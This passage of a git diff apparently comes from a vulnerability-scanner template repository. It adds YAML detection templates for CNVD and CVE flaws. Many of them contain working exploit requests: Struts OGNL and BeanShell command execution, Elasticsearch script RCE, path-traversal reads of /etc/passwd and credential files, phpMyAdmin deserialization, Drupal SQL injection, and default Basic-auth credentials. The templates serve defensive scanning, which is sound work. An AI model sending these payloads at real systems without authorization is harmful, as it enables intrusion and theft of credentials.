-│   ├── prometheus-exposed-panel.yaml
-│   ├── prtg-detect.yaml
-│   ├── redmine-cli-detect.yaml
-│   ├── s3-detect.yaml
-│   ├── sap-netweaver-as-java-detect.yaml
-│   ├── sap-netweaver-detect.yaml
-│   ├── shiro-detect.yaml
-│   ├── sql-server-reporting.yaml
-│   ├── tech-detect.yaml
-│   ├── telerik-dialoghandler-detect.yaml
-│   ├── telerik-fileupload-detect.yaml
-│   ├── terraform-detect.yaml
-│   ├── tomcat-detect.yaml
-│   ├── tor-socks-proxy.yaml
-│   ├── waf-detect.yaml
-│   ├── weblogic-detect.yaml
-│   └── werkzeug-debugger-detect.yaml
-├── vulnerabilities
-│   ├── generic
-│   │   ├── basic-cors.yaml
-│   │   ├── basic-xss-prober.yaml
-│   │   ├── crlf-injection.yaml
-│   │   ├── top-xss-params.yaml
-│   │   └── url-redirect.yaml
-│   ├── ibm
-│   │   ├── eclipse-help-system-xss.yaml
-│   │   └── ibm-infoprint-directory-traversal.yaml
-│   ├── jenkins
-│   │   ├── jenkins-asyncpeople.yaml
-│   │   ├── jenkins-stack-trace.yaml
-│   │   └── unauthenticated-jenkin-dashboard.yaml
-│   ├── jira
-│   │   ├── jira-service-desk-signup.yaml
-│   │   ├── jira-unauthenticated-dashboards.yaml
-│   │   ├── jira-unauthenticated-popular-filters.yaml
-│   │   ├── jira-unauthenticated-projects.yaml
-│   │   └── jira-unauthenticated-user-picker.yaml
-│   ├── moodle
-│   │   ├── moodle-filter-jmol-lfi.yaml
-│   │   └── moodle-filter-jmol-xss.yaml
-│   ├── oracle
-│   │   └── oracle-ebs-bispgraph-file-access.yaml
-│   ├── other
-│   │   ├── acme-xss.yaml
-│   │   ├── aspnuke-openredirect.yaml
-│   │   ├── bullwark-momentum-series-directory-traversal.yaml
-│   │   ├── cached-aem-pages.yaml
-│   │   ├── couchdb-adminparty.yaml
-│   │   ├── discourse-xss.yaml
-│   │   ├── mcafee-epo-rce.yaml
-│   │   ├── microstrategy-ssrf.yaml
-│   │   ├── mida-eframework-xss.yaml
-│   │   ├── nginx-module-vts-xss.yaml
-│   │   ├── nuuo-nvrmini2-rce.yaml
-│   │   ├── pdf-signer-ssti-to-rce.yaml
-│   │   ├── rce-shellshock-user-agent.yaml
-│   │   ├── rce-via-java-deserialization.yaml
-│   │   ├── rconfig-rce.yaml
-│   │   ├── sick-beard-xss.yaml
-│   │   ├── symantec-messaging-gateway.yaml
-│   │   ├── thinkific-redirect.yaml
-│   │   ├── tikiwiki-reflected-xss.yaml
-│   │   ├── twig-php-ssti.yaml
-│   │   ├── vpms-auth-bypass.yaml
-│   │   ├── wems-manager-xss.yaml
-│   │   ├── yarn-resourcemanager-rce.yaml
-│   │   └── zms-auth-bypass.yaml
-│   ├── rails
-│   │   └── rails6-xss.yaml
-│   ├── springboot
-│   │   ├── springboot-actuators-jolokia-xxe.yaml
-│   │   └── springboot-h2-db-rce.yaml
-│   ├── vmware
-│   │   ├── vmware-vcenter-lfi-linux.yaml
-│   │   └── vmware-vcenter-lfi.yaml
-│   └── wordpress
-│       ├── easy-wp-smtp-listing.yaml
-│       ├── sassy-social-share.yaml
-│       ├── w3c-total-cache-ssrf.yaml
-│       ├── wordpress-accessible-wpconfig.yaml
-│       ├── wordpress-db-backup.yaml
-│       ├── wordpress-debug-log.yaml
-│       ├── wordpress-directory-listing.yaml
-│       ├── wordpress-emails-verification-for-woocommerce.yaml
-│       ├── wordpress-emergency-script.yaml
-│       ├── wordpress-installer-log.yaml
-│       ├── wordpress-social-metrics-tracker.yaml
-│       ├── wordpress-tmm-db-migrate.yaml
-│       ├── wordpress-user-enumeration.yaml
-│       ├── wordpress-wordfence-xss.yaml
-│       └── wordpress-wpcourses-info-disclosure.yaml
-└── workflows
-    ├── artica-web-proxy-workflow.yaml
-    ├── basic-auth-workflow.yaml
-    ├── bigip-workflow.yaml
-    ├── cisco-asa-workflow.yaml
-    ├── grafana-workflow.yaml
-    ├── jira-workflow.yaml
-    ├── liferay-workflow.yaml
-    ├── lotus-domino-workflow.yaml
-    ├── magmi-workflow.yaml
-    ├── mida-eframework-workflow.yaml
-    ├── netsweeper-workflow.yaml
-    ├── rabbitmq-workflow.yaml
-    ├── sap-netweaver-workflow.yaml
-    ├── solarwinds-orion-workflow.yaml
-    ├── springboot-workflow.yaml
-    ├── vbulletin-workflow.yaml
-    └── wordpress-workflow.yaml
-```
-
-</details>
-
-**53 directories, 474 files**.

 📖 Documentation
 -----
@@ -0,0 +1,27 @@
+id: CNVD-2019-01348
+
+info:
+  name: Xiuno BBS CNVD-2019-01348
+  author: princechaddha
+  severity: medium
+  description: The Xiuno BBS system has a system reinstallation vulnerability. The vulnerability stems from the failure to protect or filter the installation directory after the system is installed. Attackers can directly reinstall the system through the installation page.
+  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2019-01348
+  tags: xiuno,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/install/"
+    headers:
+      Accept-Encoding: deflate
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "/view/js/xiuno.js"
+          - "Choose Language (选择语言)"
+        part: body
+        condition: and
@@ -0,0 +1,26 @@
+id: CNVD-2020-23735
+
+info:
+  name: Xxunchi Local File read
+  author: princechaddha
+  severity: medium
+  description: Xunyou cms has an arbitrary file reading vulnerability. Attackers can use vulnerabilities to obtain sensitive information.
+  reference: https://www.cnvd.org.cn/flaw/show/2025171
+  tags: xunchi,lfi,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"
+          - "display_errors"
+        part: body
+        condition: and
@@ -0,0 +1,30 @@
+id: CNVD-2020-56167
+
+info:
+  name: Ruijie Smartweb Default Password
+  author: pikpikcu
+  severity: low
+  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2020-56167
+  tags: ruijie,default-login,cnvd
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/WEB_VMS/LEVEL15/"
+    headers:
+      Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
+    body: command=show basic-info dev&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "Level was: LEVEL15"
+          - "/WEB_VMS/LEVEL15/"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,29 @@
+id: CNVD-2020-62422
+
+info:
+  name: Seeyon readfile(CNVD-2020-62422)
+  author: pikpikcu
+  severity: medium
+  reference: https://blog.csdn.net/m0_46257936/article/details/113150699
+  tags: lfi,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "application/x-msdownload"
+        condition: and
+        part: header
+      - type: word
+        words:
+          - "ctpDataSource.password"
+        condition: and
+        part: body
@@ -0,0 +1,49 @@
+id: CNVD-2020-68596
+
+info:
+  name: WeiPHP 5.0 Path Traversal
+  author: pikpikcu
+  severity: critical
+  reference: http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html
+  tags: weiphp,lfi,cnvd
+
+requests:
+  - raw:
+      - |
+        POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Content-Length: 5
+        Content-Type: application/x-www-form-urlencoded
+        Accept-Encoding: deflate
+
+        "1":1
+      - |
+        GET /public/index.php/home/file/user_pics HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Accept-Encoding: gzip
+        Accept-Encoding: deflate
+
+      - |
+        GET {{endpoint}} HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Accept-Encoding: deflate
+
+    extractors:
+      - type: regex
+        name: endpoint
+        part: body
+        internal: true
+        regex:
+          - '/public/uploads/picture/(.*.jpg)'
+
+    matchers:
+      - type: word
+        words:
+          - https://weiphp.cn
+          - WeiPHP
+          - DB_PREFIX
+        condition: and
+        part: body
@@ -0,0 +1,26 @@
+id: CNVD-2021-10543
+
+info:
+  name: EEA Information Disclosure
+  author: pikpikcu
+  severity: high
+  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-10543
+  tags: config,exposure,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/authenticationserverservlet"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "<username>(.*?)</username>"
+          - "<password>(.*?)</password>"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CNVD-2021-15822
+
+info:
+  name: ShopXO Download File Read
+  author: pikpikcu
+  severity: high
+  reference: https://mp.weixin.qq.com/s/69cDWCDoVXRhehqaHPgYog
+  tags: shopxo,lfi
+
+requests:
+  - raw:
+      - |
+        GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q=  HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,29 @@
+id: CNVD-2021-17369
+
+info:
+  name: Ruijie Smartweb Management System Password Information Disclosure
+  author: pikpikcu
+  severity: medium
+  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369
+  tags: ruijie,disclosure,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/web/xml/webuser-auth.xml"
+    headers:
+      Cookie: login=1; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "<userauth>"
+          - "<password>"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,45 @@
+id: CNVD-2021-30167
+
+info:
+  name: UFIDA NC BeanShell Remote Code Execution
+  author: pikpikcu
+  severity: high
+  reference: |
+     - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
+     - https://www.cnvd.org.cn/webinfo/show/6491
+  tags: beanshell,rce,cnvd
+
+requests:
+  - raw:
+      - | #linux
+        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+        bsh.script=exec("id");
+
+      - | #windows
+        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+        bsh.script=exec("ipconfig");
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "uid="
+          - "Windows IP"
+        condition: or
+
+      - type: word
+        words:
+          - "BeanShell Test Servlet"
+
+      - type: status
+        status:
+          - 200
@@ -3,6 +3,11 @@ info:
  name: CVE-2005-2428
  author: CasperGN
  severity: medium
+  tags: cve,cve2005
+  description: Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, stores sensitive data from names.nsf in hidden form fields, which allows remote attackers to read the HTML source to obtain sensitive information such as (1) the password hash in the HTTPPassword field, (2) the password change date in the HTTPPasswordChangeDate field, (3) the client platform in the ClntPltfrm field, (4) the client machine name in the ClntMachine field, and (5) the client Lotus Domino release in the ClntBld field, a different vulnerability than CVE-2005-2696.
+  reference: |
+    - http://www.cybsec.com/vuln/default_configuration_information_disclosure_lotus_domino.pdf
+    - https://www.exploit-db.com/exploits/39495

 requests:
  - method: GET
@@ -0,0 +1,30 @@
+id: CVE-2007-4556
+
+info:
+  name: Apache Struts2 S2-001 RCE
+  author: pikpikcu
+  severity: critical
+  description: Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via form input beginning with a "%{" sequence and ending with a "}" character.
+  reference: https://www.guildhab.top/?p=2326
+  tags: cve,cve2007,apache,rce,struts
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/login.action"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+        username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -4,6 +4,9 @@ info:
  name: AppServ Open Project 2.5.10 and earlier XSS
  author: unstabl3
  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in index.php in AppServ Open Project 2.5.10 and earlier allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter.
+  reference: https://exchange.xforce.ibmcloud.com/vulnerabilities/42546
+  tags: cve,cve2008,xss

 requests:
  - method: GET
@@ -0,0 +1,25 @@
+id: CVE-2008-2650
+info:
+  name: CMSimple 3.1 - Local File Inclusion
+  author: pussycat0x
+  severity: high
+  description: |
+    Directory traversal vulnerability in cmsimple/cms.php in CMSimple 3.1, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.
+  reference: https://www.exploit-db.com/exploits/5700
+  tags: cve,cve2008,lfi
+requests:
+  - raw:
+      - |
+        GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -0,0 +1,20 @@
+id: CVE-2009-0545
+
+info:
+  name: ZeroShell <= 1.0beta11 Remote Code Execution
+  author: geeknik
+  description: cgi-bin/kerbynet in ZeroShell 1.0beta11 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the type parameter in a NoAuthREQ x509List action.
+  reference: https://www.exploit-db.com/exploits/8023
+  severity: critical
+  tags: cve,cve2009,zeroshell,kerbynet,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,35 @@
+id: CVE-2009-1151
+
+info:
+  name: PhpMyAdmin Scripts/setup.php Deserialization Vulnerability
+  author: princechaddha
+  severity: high
+  description: Setup script used to generate configuration can be fooled using a crafted POST request to include arbitrary PHP code in generated configuration file. Combined with ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.
+  reference: https://www.phpmyadmin.net/security/PMASA-2009-3/
+  vulhub: https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
+  tags: cve,cve2009,phpmyadmin,rce,deserialization
+
+requests:
+  - raw:
+      - |
+        POST /scripts/setup.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 80
+
+        action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,30 @@
+id: CVE-2010-2861
+
+info:
+  name: Adobe ColdFusion 8.0/8.0.1/9.0/9.0.1 LFI
+  author: pikpikcu
+  severity: high
+  description: Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter to (1) CFIDE/administrator/settings/mappings.cfm, (2) logging/settings.cfm, (3) datasources/index.cfm, (4) j2eepackaging/editarchive.cfm, and (5) enter.cfm in CFIDE/administrator/.
+  reference: |
+    - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
+    - http://www.adobe.com/support/security/bulletins/apsb10-18.html
+  tags: cve,cve2010,coldfusion,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "rdspassword="
+          - "encrypted="
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,29 @@
+id: CVE-2011-0049
+
+info:
+  name: Majordomo2 - SMTP/HTTP Directory Traversal
+  author: pikpikcu
+  severity: high
+  description: Directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.
+  reference: |
+    - https://www.exploit-db.com/exploits/16103
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-0063
+    - http://www.kb.cert.org/vuls/id/363726
+  tags: cve,cve2011,majordomo2,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,25 @@
+id: CVE-2012-0392
+
+info:
+  name: Apache Struts2 S2-008 RCE
+  author: pikpikcu
+  severity: critical
+  description: The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
+  reference: https://blog.csdn.net/weixin_43416469/article/details/113850545
+  tags: cve,cve2012,apache,rce,struts
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,29 @@
+id: CVE-2013-1965
+
+info:
+  name: Apache Struts2 S2-012 RCE
+  author: pikpikcu
+  severity: critical
+  description: Apache Struts Showcase App 2.0.0 through 2.3.13, as used in Struts 2 before 2.3.14.3, allows remote attackers to execute arbitrary OGNL code via a crafted parameter name that is not properly handled when invoking a redirect.
+  reference: http://struts.apache.org/development/2.x/docs/s2-012.html
+  tags: cve,cve2013,apache,rce,struts
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/user.action"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+        name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,20 @@
+id: CVE-2013-2248
+
+info:
+  name: Apache Struts - Multiple Open Redirection Vulnerabilities
+  author: 0x_Akoko
+  description: Apache Struts is prone to multiple open-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.
+  reference: https://www.exploit-db.com/exploits/38666
+  severity: low
+  tags: cve,cve2013,apache,redirect,struts
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.action?redirect:http://www.example.com/"
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$'
+        part: header
@@ -2,9 +2,11 @@ id: CVE-2013-2251

 info:
  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
-  author: exploitation & @dwisiswant0
+  author: exploitation,dwisiswant0,alex
  severity: critical
  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+  reference: http://struts.apache.org/release/2.3.x/docs/s2-016.html
+  tags: cve,cve2013,rce,struts,apache

 requests:
  - payloads:
@@ -27,6 +29,13 @@ requests:
        Accept: */*
        Accept-Language: en

+      - |
+        GET /index.action?§params§%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
    matchers-condition: and
    matchers:
      - type: status
@@ -37,10 +46,4 @@ requests:
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
-      - type: word
-        words:
-          - "There is no Action mapped for namespace"
-          - "The origin server did not find a current representation for the target resource"
-          - "Apache Tomcat"
-        condition: or
        part: body
@@ -0,0 +1,29 @@
+id: CVE-2014-2321
+
+info:
+  name: ZTE Cable Modem Web Shell
+  description: web_shell_cmd.gch on ZTE F460 and F660 cable modems allows remote attackers to obtain administrative access via sendcmd requests, as demonstrated by using "set TelnetCfg" commands to enable a TELNET service with specified credentials.
+  author: geeknik
+  reference:
+    - https://yosmelvin.wordpress.com/2017/09/21/f660-modem-hack/
+    - https://jalalsela.com/zxhn-h108n-router-web-shell-secrets/
+  severity: high
+  tags: iot,cve,cve2014,zte
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/web_shell_cmd.gch"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "please input shell command"
+          - "ZTE Corporation. All rights reserved"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,32 @@
+id: arbitrary-file-read-in-dompdf
+
+info:
+  name: Arbitrary file read in dompdf < v0.6.0
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/33004
+  tags: dompdf,lfi
+
+# - "/dompdf.php?input_file=C:/windows/win.ini"
+# - "/dompdf.php?input_file=/etc/passwd"
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/dompdf.php?input_file=dompdf.php"
+      - "{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=dompdf.php"
+      - "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=dompdf.php"
+      - "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=dompdf.php"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/pdf"
+          - 'filename="dompdf_out.pdf"'
+        part: header
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,57 @@
+id: CVE-2014-3120
+
+info:
+  name: ElasticSearch v1.1.1/1.2 RCE
+  author: pikpikcu
+  severity: critical
+  description: |
+    The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. NOTE: this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
+  reference: |
+    - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
+    - https://www.elastic.co/blog/logstash-1-4-3-released
+  tags: cve,cve2014,elastic,rce
+
+requests:
+  - raw:
+      - |
+        POST /_search?pretty HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 343
+
+        {
+            "size": 1,
+            "query": {
+              "filtered": {
+                "query": {
+                  "match_all": {
+                  }
+                }
+              }
+            },
+            "script_fields": {
+                "command": {
+                    "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
+                }
+            }
+        }
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,32 @@
+id: CVE-2014-3704
+info:
+  name: Drupal Sql Injetion
+  author: princechaddha
+  severity: high
+  description: The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing crafted keys.
+  reference: |
+    - https://www.drupal.org/SA-CORE-2014-005
+    - http://www.exploit-db.com/exploits/34984
+    - http://www.exploit-db.com/exploits/34992
+    - http://www.exploit-db.com/exploits/34993
+    - http://www.exploit-db.com/exploits/35150
+  tags: cve,cve2014,drupal,sqli
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/?q=node&destination=node"
+    body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5(1234567890)),1)%23]=bob&name[0]=a'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 500
+
+      - type: word
+        words:
+          - "PDOException"
+          - "e807f1fcf82d132f9bb018ca6738a19f"
+        condition: and
+        part: body
@@ -0,0 +1,25 @@
+id: CVE-2014-3744
+
+info:
+  name: Node.js st module Directory Traversal
+  author: geeknik
+  description: Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.
+  reference: |
+    - https://github.com/advisories/GHSA-69rr-wvh9-6c4q
+    - https://snyk.io/vuln/npm:st:20140206
+  severity: high
+  tags: cve,cve2014,lfi,nodejs,st
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,29 @@
+id: CVE-2014-4210
+
+info:
+  name: Weblogic SSRF in SearchPublicRegistries.jsp
+  author: princechaddha
+  severity: medium
+  tags: cve,cve2014,weblogic,oracle,ssrf
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2014-4210
